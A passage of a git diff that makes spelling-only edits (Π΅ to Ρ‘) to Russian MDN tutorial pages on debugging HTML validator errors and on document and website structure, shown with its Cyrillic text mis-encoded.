-<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ сразу ясно, Ρ‡Ρ‚ΠΎ значат сообщСния, Π½ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° приходится ΠΏΠΎΡΡ‚Π°Ρ€Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Π² Ρ‡Π΅ΠΌ Π΄Π΅Π»ΠΎ. БСйчас ΠΌΡ‹ пройдСмся ΠΏΠΎ всСм ошибкам ΠΈ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π·Π½Π°Ρ‡Π°Ρ‚. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² сообщСниях ΡƒΠΊΠ°Π·Π°Π½Ρ‹ строка ΠΈ столбСц ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ошибки Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΡΠΊΠ°Ρ‚ΡŒ.</p>
+<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ сразу ясно, Ρ‡Ρ‚ΠΎ значат сообщСния, Π½ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° приходится ΠΏΠΎΡΡ‚Π°Ρ€Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Π² Ρ‡Π΅ΠΌ Π΄Π΅Π»ΠΎ. БСйчас ΠΌΡ‹ пройдёмся ΠΏΠΎ всСм ошибкам ΠΈ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π·Π½Π°Ρ‡Π°Ρ‚. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² сообщСниях ΡƒΠΊΠ°Π·Π°Π½Ρ‹ строка ΠΈ столбСц ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ошибки Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΡΠΊΠ°Ρ‚ΡŒ.</p>
<ul>
- <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): НСт явного Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π°, хотя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ догадываСтся, Π³Π΄Π΅ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ. Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° строку послС Ρ‚ΠΎΠΉ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ оТидался Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³, Π½ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½ΡƒΠΆΠ½ΠΎΠ΅ мСсто.</li>
+ <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): НСт явного Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π°, хотя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ догадываСтся, Π³Π΄Π΅ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ. Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° строку послС Ρ‚ΠΎΠΉ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ оТидался Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³, Π½ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½ΡƒΠΆΠ½ΠΎΠ΅ мСсто.</li>
<li>"Unclosed element <code>strong</code>":Β  Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простая ошибка β€” элСмСнт {{htmlelement("strong")}} Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚, ΠΈ сообщСниС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ прямо Π½Π° ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³.</li>
<li>"End tag <code>strong</code> violates nesting rules": Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π²Π»ΠΎΠΆΠ΅Π½ β€” Π½Π° этом ΡƒΡ€ΠΎΠ²Π½Π΅ Π½Π΅Ρ‚ ΠΏΠ°Ρ€Π½ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π°.</li>
<li>"End of file reached when inside an attribute value. Ignoring tag": Π—Π°Π³Π°Π΄ΠΎΡ‡Π½ΠΎΠ΅ сообщСниС. Π”Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π³Π΄Π΅-Ρ‚ΠΎ (скорСС всСго, Π² ΠΊΠΎΠ½Ρ†Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°)Β Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ прописано свойство элСмСнта, ΠΈ ΠΊΠΎΠ½Π΅Ρ† Ρ„Π°ΠΉΠ»Π° оказался Π²Π½ΡƒΡ‚Ρ€ΠΈ этого свойства. Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π½Π΅ Π²ΠΈΠ΄Π½ΠΎ ссылки β€” скорСС всСго, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° рядом с Π½Π΅ΠΉ.</li>
@@ -155,7 +155,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<li>"Unclosed element <code>ul</code>": Π‘Ρ‚Ρ€Π°Π½Π½ΠΎ, вСдь элСмСнт {{htmlelement("ul")}} Π·Π°ΠΊΡ€Ρ‹Ρ‚. Настоящая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° всё Ρ‚Π°ΠΌ ΠΆΠ΅ β€” элСмСнт {{htmlelement("a")}} Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚ ΠΈΠ·-Π·Π° Π½Π΅Π΄ΠΎΡΡ‚Π°ΡŽΡ‰Π΅ΠΉ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π² свойствС.</li>
</ul>
-<p>Если Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡˆΠΈΠ±ΠΊΠΈΒ ΠΊΠ°ΠΆΡƒΡ‚ΡΡ Π²Π°ΠΌ странными, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ исправлСниС с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π΅Ρ‰Π΅ Ρ€Π°Π·. Иногда ΠΎΠ΄Π½Π° ошибка Π»ΠΎΠΌΠ°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>Если Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡˆΠΈΠ±ΠΊΠΈΒ ΠΊΠ°ΠΆΡƒΡ‚ΡΡ Π²Π°ΠΌ странными, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ исправлСниС с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π΅Ρ‰Ρ‘ Ρ€Π°Π·. Иногда ΠΎΠ΄Π½Π° ошибка Π»ΠΎΠΌΠ°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<p><span>Когда Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ эту надпись, Π² вашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ большС Π½Π΅Ρ‚ ошибок:</span></p>
@@ -174,7 +174,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html
index 7128fd4462..31119efc4a 100644
--- a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html
+++ b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html
@@ -39,11 +39,11 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<dt>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ (ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»)</dt>
<dd>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это большая полоса Π²Π²Π΅Ρ€Ρ…Ρƒ страницы, с ΠΊΡ€ΡƒΠΏΠ½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ ΠΈ / ΠΈΠ»ΠΈ Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏΠΎΠΌ. Π—Π΄Π΅ΡΡŒ указываСтся общая информация ΠΎ Π²Π΅Π±-сайтС, Π½Π΅ ΠΌΠ΅Π½ΡΡŽΡ‰Π°ΡΡΡ ΠΎΡ‚ страницы ΠΊ страницС.</dd>
<dt>НавигационноС мСню</dt>
- <dd>Бсылки Π½Π° основныС Ρ€Π°Π·Π΄Π΅Π»Ρ‹ сайта; ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π² Π²ΠΈΠ΄Π΅ ΠΊΠ½ΠΎΠΏΠΎΠΊ, ссылок ΠΈΠ»ΠΈ Π²ΠΊΠ»Π°Π΄ΠΎΠΊ.Β Π’Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, навигация остаСтся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠΉΒ Π½Π° всСх страницах сайта — Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π½Π° Π’Π°ΡˆΠ΅ΠΌ сайтС Π·Π°ΠΏΡƒΡ‚Π°Π΅Ρ‚ ΠΈ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. МногиС Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Ρ‹ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ панСль Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, Π° Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠΌ, Π½ΠΎ это Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ; Π½Π° самом Π΄Π΅Π»Π΅, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚Β <a href="/en-US/docs/Learn/Accessibility">Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ</a>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ€Π°Π·Π΄Π΅Π»ΡŒΠ½Π°Ρ структура Π±ΡƒΠ΄Π΅Ρ‚ понятнСС для людСй, ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ считыватСлями экрана.</dd>
+ <dd>Бсылки Π½Π° основныС Ρ€Π°Π·Π΄Π΅Π»Ρ‹ сайта; ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π² Π²ΠΈΠ΄Π΅ ΠΊΠ½ΠΎΠΏΠΎΠΊ, ссылок ΠΈΠ»ΠΈ Π²ΠΊΠ»Π°Π΄ΠΎΠΊ.Β Π’Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, навигация остаётся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΠΉΒ Π½Π° всСх страницах сайта — Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π½Π° Π’Π°ΡˆΠ΅ΠΌ сайтС Π·Π°ΠΏΡƒΡ‚Π°Π΅Ρ‚ ΠΈ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. МногиС Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Ρ‹ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ панСль Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, Π° Π½Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠΌ, Π½ΠΎ это Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ; Π½Π° самом Π΄Π΅Π»Π΅, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚Β <a href="/en-US/docs/Learn/Accessibility">Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ</a>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ€Π°Π·Π΄Π΅Π»ΡŒΠ½Π°Ρ структура Π±ΡƒΠ΄Π΅Ρ‚ понятнСС для людСй, ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ считыватСлями экрана.</dd>
<dt>ОсновноС содСрТимоС</dt>
- <dd>Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ страницы, содСрТащая, Π² основном,Β ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Β Π΄Π°Π½Π½ΠΎΠΉ Π²Π΅Π±-страницы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β Π²ΠΈΠ΄Π΅ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΈΠ»ΠΈ рассказ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅, ΠΈΠ»ΠΈ ΠΊΠ°Ρ€Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ новостСй ΠΈ Ρ‚.Β Π΄. Π­Ρ‚ΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· частСй сайта, которая ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΎΡ‚ страницы ΠΊ страницС!</dd>
+ <dd>Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ страницы, содСрТащая, Π² основном,Β ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Β Π΄Π°Π½Π½ΠΎΠΉ Π²Π΅Π±-страницы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β Π²ΠΈΠ΄Π΅ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΈΠ»ΠΈ рассказ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅, ΠΈΠ»ΠΈ ΠΊΠ°Ρ€Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ новостСй ΠΈ Ρ‚.Β Π΄. Π­Ρ‚ΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· частСй сайта, которая ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΎΡ‚ страницы ΠΊ страницС!</dd>
<dt>Боковая панСль</dt>
- <dd>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, содСрТит Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‚ΠΎΡ€ΠΎΡΡ‚Π΅ΠΏΠ΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ссылки, Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, Ρ€Π΅ΠΊΠ»Π°ΠΌΡƒ ΠΈ Ρ‚.Π΄. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½Π° относится ΠΊ содСрТимому Π² основном ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° страницС со ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ, боковая панСль ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π±ΠΈΠΎΠ³Ρ€Π°Ρ„ΠΈΡŽ Π°Π²Ρ‚ΠΎΡ€Π° ΠΈΠ»ΠΈ ссылки Π½Π° связанныС ΡΡ‚Π°Ρ‚ΡŒΠΈ), Π½ΠΎ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях здСсь Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ систСму.</dd>
+ <dd>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, содСрТит Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‚ΠΎΡ€ΠΎΡΡ‚Π΅ΠΏΠ΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ссылки, Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, Ρ€Π΅ΠΊΠ»Π°ΠΌΡƒ ΠΈ Ρ‚.Π΄. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½Π° относится ΠΊ содСрТимому Π² основном ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° страницС со ΡΡ‚Π°Ρ‚ΡŒΡ‘ΠΉ, боковая панСль ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π±ΠΈΠΎΠ³Ρ€Π°Ρ„ΠΈΡŽ Π°Π²Ρ‚ΠΎΡ€Π° ΠΈΠ»ΠΈ ссылки Π½Π° связанныС ΡΡ‚Π°Ρ‚ΡŒΠΈ), Π½ΠΎ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях здСсь Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ систСму.</dd>
<dt>НиТний ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» (Ρ„ΡƒΡ‚Π΅Ρ€)</dt>
<dd>Полоса Π² Π½ΠΈΠΆΠ½Π΅ΠΉ части страницы, которая ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ содСрТит увСдомлСния ΠΎΠ± авторских ΠΏΡ€Π°Π²Π°Ρ… ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎ мСсто для размСщСния ΠΎΠ±Ρ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°), Π½ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ эта информация Π½Π΅ являСтся ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ»ΠΈ 